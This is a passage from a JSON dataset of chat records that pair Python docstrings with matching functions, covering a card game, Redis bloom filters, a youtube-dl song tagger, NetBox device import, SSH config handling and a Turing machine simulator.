self._key_map_pipette_functions(model, ul, 'aspirate')\n millimeters = ul / ul_per_mm()\n destination_mm = self._get_plunger_position('bottom') + millimeters\n return round(destination_mm, 6)", "conversation_id": 241, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 242, "message_id": 0 }, { "role": "user", "content": "Calculate axis position for a given liquid volume.\nTranslates the passed liquid volume to absolute coordinates\non the axis associated with this pipette.\n\nCalibration of the pipette motor's ul-to-mm conversion is required.", "conversation_id": 242, "message_id": 1 }, { "role": "assistant", "content": "def _dispense_plunger_position(self, ul):\n model = self.name\n if self.ul_per_mm:\n ul_per_mm = lambda: self.ul_per_mm\n else:\n ul_per_mm = self._key_map_pipette_functions(model, ul, 'dispense')\n millimeters = ul / ul_per_mm()\n destination_mm = self._get_plunger_position('bottom') + millimeters\n return round(destination_mm, 6)", "conversation_id": 242, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 243, "message_id": 0 }, { "role": "user", "content": "Returns the plunger percentage for a given volume.\nWe use this to calculate what actual position the plunger axis\nneeds to be at in order to achieve the correct volume of liquid..", "conversation_id": 243, "message_id": 1 }, { "role": "assistant", "content": "def _volume_percentage(self, volume):\n if volume < 0:\n raise RuntimeError(\n \"Volume must be a positive number, got {}.\".format(volume))\n if volume > self.max_volume:\n raise RuntimeError(\n \"{0}\u00b5l exceeds pipette's maximum volume ({1}ul).\".format(\n volume, self.max_volume))\n if volume < self.min_volume:\n self.robot.add_warning(\n \"{0}\u00b5l is less than pipette's min_volume ({1}ul).\".format(\n volume, self.min_volume))\n return volume / self.max_volume", "conversation_id": 243, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 244, "message_id": 0 }, { "role": "user", "content": "Draw a card depending how many it will be drawn..", "conversation_id": 244, "message_id": 1 }, { "role": "assistant", "content": "def draw_card(deck, draw_number):\n\tdraw_copy = deck[0:draw_number]\n\tdel deck[0:draw_number]\n\treturn draw_copy", "conversation_id": 244, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 245, "message_id": 0 }, { "role": "user", "content": "Find the card in the player's hand..", "conversation_id": 245, "message_id": 1 }, { "role": "assistant", "content": "def find_card(hand, card):\n\ttry:\n\t\tif hand.index(card):\n\t\t\treturn True\n\texcept ValueError:\n\t\treturn False", "conversation_id": 245, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 246, "message_id": 0 }, { "role": "user", "content": "Discard the card into play..", "conversation_id": 246, "message_id": 1 }, { "role": "assistant", "content": "def play_card(hand, card_index, discard_pile):\n\tcopied_card = hand[card_index] \n\tif not discard_pile:\n\t\tdel hand[card_index]\n\t\tdiscard_pile.append(copied_card) \n\telif card_compare(hand[card_index], discard_pile[-1]): \n\t\tdel hand[card_index]\n\t\tdiscard_pile.append(copied_card)", "conversation_id": 246, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 247, "message_id": 0 }, { "role": "user", "content": "Do an action depending on the top of the discard pile..", "conversation_id": 247, "message_id": 1 }, { "role": "assistant", "content": "def do_action(hand, deck, discard_pile):\n\ttop_discard_card = discard_pile[-1]\n\tif top_discard_card == \"wild-draw-4\":\n\t\tprint(\"\\nThe draw 4 wildcard has been played. The game will automatically draw 4 cards for you.\\n\")\n\t\tnew_4_cards = ' '.join(deck[0:4])\n\t\thand += draw_card(deck, 4)\n\t\tprint(\"The new cards are:\", new_4_cards + \"\\n\")\n\telif top_discard_card.endswith(\"draw-2\"):\n\t\ttop_discard_card_color = top_discard_card.split(\"-\")[0]\n\t\tprint(\"\\nThe draw 2 card from the color\", top_discard_card_color, \"has been played. The game will \\\nautomatically draw 2 cards for you.\\n\")\n\t\tnew_2_cards = ' '.join(deck[0:2])\n\t\thand += draw_card(deck, 2)\n\t\tprint(\"The news cards are\", new_2_cards + \"\\n\")", "conversation_id": 247, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 248, "message_id": 0 }, { "role": "user", "content": "Refill deck from the discard pile if it runs out..", "conversation_id": 248, "message_id": 1 }, { "role": "assistant", "content": "def refill_deck(deck, discard_pile):\n\tif deck: \n\t\treturn\n\telse:\n\t\tdeck += random.sample(discard_pile.copy(), len(discard_pile))\n\t\tdiscard_pile.clear()", "conversation_id": 248, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 249, "message_id": 0 }, { "role": "user", "content": "\\\nThis is the main function of the program.\n\nThis function will be called immediately at start of execution..", "conversation_id": 249, "message_id": 1 }, { "role": "assistant", "content": "def main():\n\tmy_deck = make_deck()\n\tplayers_hands = {\n\t\t\"User\": []\n\t}\n\tplayers_hands[\"Computer\"] = []\n\tplayers_names = list(players_hands.keys()) \n\tdiscard_pile = []\n\tfor player in players_hands.keys():\n\t\tplayers_hands[player] = draw_card(my_deck, 7)\n\tbeginning = True \n\tgame_over = False\n\twhile not game_over:\n\t\tfor player in players_names:\n\t\t\trefill_deck(my_deck, discard_pile)\n\t\t\tcurr_player_hand = players_hands[player] \n\t\t\tprint(\"It is\", player + \"'s\", \"turn\\n\")\n\t\t\tif player == \"User\":\n\t\t\t\tdraw_limit = 1 \n\t\t\t\tif beginning:\n\t\t\t\t\tprint(\"Drop a card to the discard pile to start.\")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Pick the right card to drop to the discard pile.\")\n\t\t\t\tif discard_pile: \n\t\t\t\t\tprint(\"Current play:\", discard_pile[-1])\n\t\t\t\tfor card in enumerate(curr_player_hand, start=1):\n\t\t\t\t\tprint(str(card[0]) + \":\", card[1])\n\t\t\t\trepeat_process = True\n\t\t\t\twhile repeat_process:\n\t\t\t\t\tprint(\"Number of cards in deck:\", len(my_deck))\n\t\t\t\t\ttry:\n\t\t\t\t\t\tselected_card = int(input(\"Select card (0 to draw, -1 to check hand and -2 to end turn): \"))\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tcontinue \n\t\t\t\t\tif selected_card <= len(curr_player_hand) and selected_card >= 1:\n\t\t\t\t\t\tif not discard_pile or card_compare(curr_player_hand[selected_card-1], discard_pile[-1]):\n\t\t\t\t\t\t\tplay_card(curr_player_hand, selected_card-1, discard_pile)\n\t\t\t\t\t\t\tdo_action(curr_player_hand, my_deck, discard_pile) \n\t\t\t\t\t\t\tprint(player + \"'s turn has ended.\\n\")\n\t\t\t\t\t\t\trepeat_process = False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Wrong card, try again\\n\")\n\t\t\t\t\telif selected_card == 0:\n\t\t\t\t\t\tif draw_limit > 0:\n\t\t\t\t\t\t\tcurr_player_hand += draw_card(my_deck, 1)\n\t\t\t\t\t\t\tprint(\"New card has been added to your hand ({})\\n\".format(curr_player_hand[-1]))\n\t\t\t\t\t\t\tdraw_limit -= 1\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"You can't draw anymore until your next turn!\\n\")\n\t\t\t\t\telif selected_card == -1:\n\t\t\t\t\t\tprint(\"It is\", player + \"'s turn\")\n\t\t\t\t\t\tif discard_pile: \n\t\t\t\t\t\t\tprint(\"Current play:\", discard_pile[-1])\n\t\t\t\t\t\tfor card in enumerate(curr_player_hand, start=1):\n\t\t\t\t\t\t\tprint(str(card[0]) + \":\", card[1])\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telif selected_card == -2:\n\t\t\t\t\t\tprint(\"\\n\" + player + \"'s turn has ended\\n\")\n\t\t\t\t\t\trepeat_process = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\nPlease pick a number that is shown at the screen.\\n\")\n\t\t\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tai(player, curr_player_hand, my_deck, discard_pile)\n\t\t\tif is_winner(player, curr_player_hand):\n\t\t\t\tprint(player, \"has won the game!\")\n\t\t\t\tgame_over = True \n\t\t\t\tbreak", "conversation_id": 249, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 250, "message_id": 0 }, { "role": "user", "content": "Update the i-th node value to x..", "conversation_id": 250, "message_id": 1 }, { "role": "assistant", "content": "def update(self, i, x):\n i += self.N - 1\n self.node[i] = x\n while i > 1:\n i >>= 1\n self.node[i] = self.func(self.node[i << 1], self.node[i << 1 | 1])", "conversation_id": 250, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 251, "message_id": 0 }, { "role": "user", "content": "Compute semi-orthogonality error (for debugging purposes)..", "conversation_id": 251, "message_id": 1 }, { "role": "assistant", "content": "def orth_error(self):\n orth_error = 0\n for layer in [self.factor1, self.factor2]:\n orth_error += layer.orth_error()\n return orth_error", "conversation_id": 251, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 252, "message_id": 0 }, { "role": "user", "content": "Check whether the context is symmetrical and whether the passed\ncontext can be used for creating a convolution kernel with dil.", "conversation_id": 252, "message_id": 1 }, { "role": "assistant", "content": "def check_valid_context(context: list) -> None:\n assert len(context) == 2 or len(context) % 2 != 0, \"Context length must be 2 or odd\"\n if len(context) == 2:\n assert context[0] + context[1] == 0, \"Context must be of type {-1, 1}\" \n else:\n assert context[len(context) // 2] == 0, \"The context contain 0 in the center\"\n if len(context) > 1:\n delta = [context[i] - context[i - 1] for i in range(1, len(context))]\n assert all(delta[0] == delta[i] for i in range(1, len(delta))), \\\n \"Intra context spacing must be equal!\"", "conversation_id": 252, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 253, "message_id": 0 }, { "role": "user", "content": "Check if all the dependencies required by this application are installed.", "conversation_id": 253, "message_id": 1 }, { "role": "assistant", "content": "def check_app_dependencies(self, deps):\n if not deps:\n return True\n for dep in [x.strip() for x in deps.split(',') if x != \"\"]:\n try:\n app = ONOSApp.objects.get(app_id=dep)\n if not app.backend_code == 1:\n return False\n except IndexError:\n return False\n return True", "conversation_id": 253, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 254, "message_id": 0 }, { "role": "user", "content": "Never acquire a ServiceInstance on the ONOS Service,\nthose are ONOS apps, simply return true.", "conversation_id": 254, "message_id": 1 }, { "role": "assistant", "content": "def acquire_service_instance(self, subscriber_service_instance):\n return True", "conversation_id": 254, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 255, "message_id": 0 }, { "role": "user", "content": "In the case of the ONOS service there are no links between ServiceInstances and ONOSApps,\nso alway return an empty list.", "conversation_id": 255, "message_id": 1 }, { "role": "assistant", "content": "def validate_links(self, subscriber_service_instance):\n return []", "conversation_id": 255, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 256, "message_id": 0 }, { "role": "user", "content": "A quick and dirty way to reset Redis for the demo..", "conversation_id": 256, "message_id": 1 }, { "role": "assistant", "content": "def reset_app():\n r_client = RedisConn().get_client()\n current_keys = r_client.keys(\"*\")\n for key in current_keys:\n r_client.delete(key)\n return True", "conversation_id": 256, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 257, "message_id": 0 }, { "role": "user", "content": "Keyword arguments:\nbf -- the bloom filter\npw -- the password to add\n\nboolean indicating success\n\nAssertionError on None value args.", "conversation_id": 257, "message_id": 1 }, { "role": "assistant", "content": "def add_password_bloom_filter(bf, pw):\n return str(add_to_bloom_filter_format_result(bf, pw))", "conversation_id": 257, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 258, "message_id": 0 }, { "role": "user", "content": "Checks a list of grandma's passwords to see how many of her passwords were unique.\nKeyword Arguments:\npasswords -- a list of passwords\npercent_error -- the error rate (default to .2 or 20%).", "conversation_id": 258, "message_id": 1 }, { "role": "assistant", "content": "def check_passwords(passwords=GRANDMA_PASSWORDS, error_rate=.2):\n r_client = RedisConn().get_client()\n grandma_bloom_filter = \"gbloom\"\n grandma_set = \"gset\"\n r_client.delete(grandma_bloom_filter)\n r_client.delete(grandma_set)\n r_client.bf().create(grandma_bloom_filter, error_rate, 50)\n set_unique_count = 0\n bf_unique_count = 0\n check_results = list()\n for password in passwords:\n unique_to_bf = is_unique_bloom_filter(grandma_bloom_filter, password)\n add_bloom_filter(grandma_bloom_filter, password)\n if unique_to_bf:\n bf_unique_count += 1\n unique_to_set = is_unique_set(grandma_set, password)\n add_set(grandma_set, password)\n if unique_to_set:\n set_unique_count += 1\n password_results = RESULTS(password, unique_to_bf, unique_to_set, bf_unique_count, set_unique_count)\n check_results.append(str(password_results)) \n return {\n \"unique_count_set\": set_unique_count,\n \"unique_count_bf\": bf_unique_count,\n \"total_count\": len(passwords),\n \"check_results\": check_results\n }", "conversation_id": 258, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 259, "message_id": 0 }, { "role": "user", "content": "Adds items to specified set and formats return as boolean.\nKeyword arguments:\nset_name -- the set name\nitem -- the item to add\n\nBoolean indicating success\n\nAssertionError on None value args.", "conversation_id": 259, "message_id": 1 }, { "role": "assistant", "content": "def add_to_set_format_result(set_name, item):\n result = add_set(set_name, item)\n return result == ITEM_ADDED_SUCCESSFULLY_SET", "conversation_id": 259, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 260, "message_id": 0 }, { "role": "user", "content": "Converts Redis results to boolean representing if item was unique (aka not found).\nKeyword arguments:\nset_name -- the set\nitem -- the item to check.", "conversation_id": 260, "message_id": 1 }, { "role": "assistant", "content": "def is_unique_set(set_name, item):\n result = is_in_set(set_name, item)\n return result == ITEM_NOT_FOUND_IN_SET", "conversation_id": 260, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 261, "message_id": 0 }, { "role": "user", "content": "Adds items to specified bloom filter and formats return as boolean.\nKeyword arguments:\nbloom_filter -- the bloom filter\nitem -- the item to add\n\nboolean indicating success\n\nAssertionError on None value args.", "conversation_id": 261, "message_id": 1 }, { "role": "assistant", "content": "def add_to_bloom_filter_format_result(bloom_filter, item):\n result = add_bloom_filter(bloom_filter, item)\n return result == ITEM_ADDED_SUCCESSFULLY_BLOOM_FILTER", "conversation_id": 261, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 262, "message_id": 0 }, { "role": "user", "content": "Checks for item in specified bloom filter.\nKeyword arguments:\nbloom_filter -- the bloom filter\nitem -- the item to check.", "conversation_id": 262, "message_id": 1 }, { "role": "assistant", "content": "def is_in_bloom_filter(bloom_filter, item):\n assert bloom_filter is not None\n assert item is not None\n r_client = RedisConn().get_client()\n return r_client.bf().exists(bloom_filter, item)", "conversation_id": 262, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 263, "message_id": 0 }, { "role": "user", "content": "Converts Redis results to boolean representing if item was unique (aka not found).\nKeyword arguments:\nbloom_filter -- the bloom filter\nitem -- the item to check.", "conversation_id": 263, "message_id": 1 }, { "role": "assistant", "content": "def is_unique_bloom_filter(bloom_filter, item):\n result = is_in_bloom_filter(bloom_filter, item)\n return result == ITEM_NOT_FOUND_IN_BLOOM_FILTER", "conversation_id": 263, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 264, "message_id": 0 }, { "role": "user", "content": "Prompts user for API keys, adds them in an .ini file stored in the same\nlocation as that of the script.", "conversation_id": 264, "message_id": 1 }, { "role": "assistant", "content": "def add_config():\n genius_key = input('Enter Genius key : ')\n bing_key = input('Enter Bing key : ')\n CONFIG['keys']['bing_key'] = bing_key\n CONFIG['keys']['genius_key'] = genius_key\n with open(config_path, 'w') as configfile:\n CONFIG.write(configfile)", "conversation_id": 264, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 265, "message_id": 0 }, { "role": "user", "content": "Prompts for song number from list of songs.", "conversation_id": 265, "message_id": 1 }, { "role": "assistant", "content": "def prompt(youtube_list):\n option = int(input('\\nEnter song number > '))\n try:\n song_url = list(youtube_list.values())[option - 1]\n song_title = list(youtube_list.keys())[option - 1]\n except IndexError:\n log.log_error('Invalid Input')\n exit()\n system('clear')\n print('Download Song: ')\n print(song_title)\n print('Y/n?')\n confirm = input('>')\n if confirm == '' or confirm.lower() == 'y':\n pass\n elif confirm.lower() == 'n':\n exit()\n else:\n log.log_error('Invalid Input')\n exit()\n return song_url, song_title", "conversation_id": 265, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 266, "message_id": 0 }, { "role": "user", "content": "Downloads song from youtube-dl.", "conversation_id": 266, "message_id": 1 }, { "role": "assistant", "content": "def download_song(song_url, song_title):\n outtmpl = song_title + '.%(ext)s'\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'outtmpl': outtmpl,\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n },\n {'key': 'FFmpegMetadata'},\n ],\n }\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n info_dict = ydl.extract_info(song_url, download=True)", "conversation_id": 266, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 267, "message_id": 0 }, { "role": "user", "content": "Improves file name by removing crap words.", "conversation_id": 267, "message_id": 1 }, { "role": "assistant", "content": "def songname(song_name):\n try:\n song_name = splitext(song_name)[0]\n except IndexError:\n pass\n chars_filter = \"()[]{}-:_/=+\\\"\\'\"\n words_filter = ('official', 'lyrics', 'audio', 'remixed', 'remix', 'video',\n 'full', 'version', 'music', 'mp3', 'hd', 'hq', 'uploaded')\n song_name = ''.join(map(lambda c: \" \" if c in chars_filter else c, song_name))\n song_name = re.sub('|'.join(re.escape(key) for key in words_filter),\n \"\", song_name, flags=re.IGNORECASE)\n song_name = re.sub(' +', ' ', song_name)\n return song_name.strip()", "conversation_id": 267, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 268, "message_id": 0 }, { "role": "user", "content": "Provides a score out of 10 that determines the\nrelevance of the search result.", "conversation_id": 268, "message_id": 1 }, { "role": "assistant", "content": "def matching_details(song_name, song_title, artist):\n match_name = difflib.SequenceMatcher(None, song_name, song_title).ratio()\n match_title = difflib.SequenceMatcher(None, song_name, artist + song_title).ratio()\n if max(match_name,match_title) >= 0.55:\n return True, max(match_name,match_title)\n else:\n return False, (match_name + match_title) / 2", "conversation_id": 268, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 269, "message_id": 0 }, { "role": "user", "content": "Adds the album art to the song.", "conversation_id": 269, "message_id": 1 }, { "role": "assistant", "content": "def add_albumart(albumart, song_title):\n try:\n img = urlopen(albumart) \n except Exception:\n log.log_error(\"* Could not add album art\", indented=True)\n return None\n audio = EasyMP3(song_title, ID3=ID3)\n try:\n audio.add_tags()\n except _util.error:\n pass\n audio.tags.add(\n APIC(\n encoding=3, \n mime='image/png',\n type=3, \n desc='Cover',\n data=img.read() \n )\n )\n audio.save()\n log.log(\"> Added album art\")", "conversation_id": 269, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 270, "message_id": 0 }, { "role": "user", "content": "Searches for '.mp3' files in directory (optionally recursive)\nand checks whether they already contain album art and album name tags or not..", "conversation_id": 270, "message_id": 1 }, { "role": "assistant", "content": "def fix_music(file_name):\n setup()\n if not Py3:\n file_name = file_name.encode('utf-8')\n tags = File(file_name)\n log.log(file_name)\n log.log('> Adding metadata')\n try:\n artist, album, song_name, lyrics, match_bool, score = get_details_spotify(\n file_name) \n except Exception:\n artist, album, song_name, lyrics, match_bool, score = get_details_letssingit(\n file_name) \n try:\n log.log_indented('* Trying to extract album art from Google.com')\n albumart = albumsearch.img_search_google(artist+' '+album)\n except Exception:\n log.log_indented('* Trying to extract album art from Bing.com')\n albumart = albumsearch.img_search_bing(artist+' '+album)\n if match_bool:\n add_albumart(albumart, file_name)\n add_details(file_name, song_name, artist, album, lyrics)\n try:\n rename(file_name, artist+' - '+song_name+'.mp3')\n except Exception:\n log.log_error(\"Couldn't rename file\")\n pass\n else:\n log.log_error(\n \"* Couldn't find appropriate details of your song\", indented=True)\n log.log(\"Match score: %s/10.0\" % round(score * 10, 1))\n log.log(LOG_LINE_SEPERATOR)\n log.log_success()", "conversation_id": 270, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 271, "message_id": 0 }, { "role": "user", "content": "Provision the config context based on the json file present in the config-contexts folder.\nUses the json filename as config context name. Applies it to the roles leaf and spine.\nLimitation: Do not update the Config context if the content of the json file change..", "conversation_id": 271, "message_id": 1 }, { "role": "assistant", "content": "def provision_config_context():\n for file in glob.glob('config-contexts/*.json'):\n with open(file) as json_data:\n ccdata = json.load(json_data)\n ccname= os.path.basename(file).split(\".\")[0]\n get_or_create(nb.extras.config_contexts, search='name', name=ccname, data= ccdata, roles=[role_leaf.id,role_spine.id])", "conversation_id": 271, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 272, "message_id": 0 }, { "role": "user", "content": "Converts dirty strings into something URL-friendly.\nFYI - Ordering is important..", "conversation_id": 272, "message_id": 1 }, { "role": "assistant", "content": "def slugify(s):\n s = s.lower()\n for c in [' ', '-', '.', '/']:\n s = s.replace(c, '_')\n s = re.sub(r'\\W', '', s)\n s = s.replace('_', ' ')\n s = re.sub(r'\\s+', ' ', s)\n s = s.strip()\n s = s.replace(' ', '-')\n return s", "conversation_id": 272, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 273, "message_id": 0 }, { "role": "user", "content": "Uses ruamel.yaml to load YAML files..", "conversation_id": 273, "message_id": 1 }, { "role": "assistant", "content": "def load_yaml(yaml_file: str):\n yf = Path(yaml_file)\n if not yf.is_file():\n return None\n with yf.open(\"r\") as stream:\n yaml = YAML(typ=\"safe\")\n return yaml.load(stream)", "conversation_id": 273, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 274, "message_id": 0 }, { "role": "user", "content": "Runs multiple checks to see if the device type already exists in NetBox..", "conversation_id": 274, "message_id": 1 }, { "role": "assistant", "content": "def device_type_exists(device_type):\n try:\n print(f\"Checking if {device_type['model']} exists\")\n _slug = slugify(device_type['model'])\n if nb.dcim.device_types.filter(model=device_type['model']):\n print(f\"Found device_type dict {device_type['model']}\")\n return True\n elif nb.dcim.device_types.get(model=device_type['model']):\n print(f\"Found device_type name {device_type['model']}\")\n return True\n elif nb.dcim.device_types.get(slug=device_type['slug']):\n print(f\"Found device_type slug {device_type['slug']}\")\n return True\n elif nb.dcim.device_types.get(slug=_slug):\n print(f\"Found device_type _slug {_slug}\")\n return True\n else:\n return False\n except Exception as e:\n raise DeviceTypeLookupError(f\"Error for {device_type}: {e}\")", "conversation_id": 274, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 275, "message_id": 0 }, { "role": "user", "content": "Validates and modifies data before inserting in NetBox..", "conversation_id": 275, "message_id": 1 }, { "role": "assistant", "content": "def validate_device_data(device_type):\n if not isinstance(device_type, dict):\n raise DeviceTypeValidationError(f\"Validation FAILED for {device_type}: \\\n {type(device_type)} is not a dict\")\n man = device_type['manufacturer']\n man_id = get_or_create_manufacturer(man)\n device_type['manufacturer'] = man_id\n return device_type", "conversation_id": 275, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 276, "message_id": 0 }, { "role": "user", "content": "Validates and verifies the device type before inserting in NetBox..", "conversation_id": 276, "message_id": 1 }, { "role": "assistant", "content": "def process_device_type(device_type):\n device_type = validate_device_data(device_type)\n does_exist = device_type_exists(device_type)\n if does_exist is False:\n print(f\"Adding new device-type {device_type['model']}\")\n nb.dcim.device_types.create(device_type)\n else:\n print(f\"Already a device_type: {device_type['model']}\")\n print(f\"Checking for templates: {device_type['model']}\")\n process_templates(device_type)", "conversation_id": 276, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 277, "message_id": 0 }, { "role": "user", "content": "Process a YAML file for importing to NetBox..", "conversation_id": 277, "message_id": 1 }, { "role": "assistant", "content": "def process_yaml(yml_file):\n device_type = load_yaml(yml_file)\n process_device_type(device_type)", "conversation_id": 277, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 278, "message_id": 0 }, { "role": "user", "content": "Remove a host entry or specific options in a host entry..", "conversation_id": 278, "message_id": 1 }, { "role": "assistant", "content": "def remove(self, host, *options):\n if len(options) == 0:\n del self[host]\n else:\n entry = self.get(host)\n entry.remove(*options)\n if len(entry) == 0:\n self.remove(host)", "conversation_id": 278, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 279, "message_id": 0 }, { "role": "user", "content": "Save the configuration somewhere safe..", "conversation_id": 279, "message_id": 1 }, { "role": "assistant", "content": "def save(self, dest):\n if (isinstance(dest, file)):\n dest.write(str(self))\n elif isinstance(dest, str):\n f = open(dest, \"w\")\n f.write(str(self))\n f.close()\n else:\n raise TypeError(\"Argument is not a file or str\")", "conversation_id": 279, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 280, "message_id": 0 }, { "role": "user", "content": "Get the priority of this host entry. This is used for ordering in\nthe eventual ssh_config..", "conversation_id": 280, "message_id": 1 }, { "role": "assistant", "content": "def priority(self):\n return self.__priority", "conversation_id": 280, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 281, "message_id": 0 }, { "role": "user", "content": "Converts the SshConfigEntry to a dict..", "conversation_id": 281, "message_id": 1 }, { "role": "assistant", "content": "def to_dict(self):\n l = {}\n l.update(self.__options)\n return l", "conversation_id": 281, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 282, "message_id": 0 }, { "role": "user", "content": "Calculate the new state of the machine after a character.\nReturns the transition object which contains a 3-tuple of:\nThe new state, the output letter and the direction to move on\nthe tape.", "conversation_id": 282, "message_id": 1 }, { "role": "assistant", "content": "def calc(self, character):\n return self.transitions[character]", "conversation_id": 282, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 283, "message_id": 0 }, { "role": "user", "content": "Updates the tape to allow experimentation with the TM.", "conversation_id": 283, "message_id": 1 }, { "role": "assistant", "content": "def new_tape(self, tape):\n self._update_tape(tape)\n self._update_current_state(self._start_state)\n assert self._reset_loops >= 0\n self.MAX_LOOPS = self._reset_loops", "conversation_id": 283, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 284, "message_id": 0 }, { "role": "user", "content": "Internal method for updating the tape.", "conversation_id": 284, "message_id": 1 }, { "role": "assistant", "content": "def _update_tape(self, tape):\n self.tape_position = 0\n if self.tape != None:\n self.tape.clear()\n assert(len(self.tape) == 0)\n if isinstance(tape, list):\n self.tape = [str(c) for c in tape]\n elif type(tape) is str:\n self.tape = [c for c in tape]\n elif type == None:\n self.tape = []\n else:\n raise ValueError(\"Tape has to be a list of symbols or a String (or Nothing)\")\n self.tape.append(self.EMPTY_SYMBOL)", "conversation_id": 284, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 285, "message_id": 0 }, { "role": "user", "content": "Internal method for updating the accept state\nGenerally it is advised that this is not changed at once the\nmachine has began.", "conversation_id": 285, "message_id": 1 }, { "role": "assistant", "content": "def _update_accept_state(self, accept_state):\n assert accept_state != None\n TuringMachine._test_state(accept_state)\n self.accept_state = accept_state", "conversation_id": 285, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 286, "message_id": 0 }, { "role": "user", "content": "Internal method for updating the reject state\nGenerally it is advised that this is not changed at once the\nmachine has began.", "conversation_id": 286, "message_id": 1 }, { "role": "assistant", "content": "def _update_reject_state(self, reject_state):\n TuringMachine._test_state(reject_state)\n self.reject_state = reject_state", "conversation_id": 286, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 287, "message_id": 0 }, { "role": "user", "content": "Internal 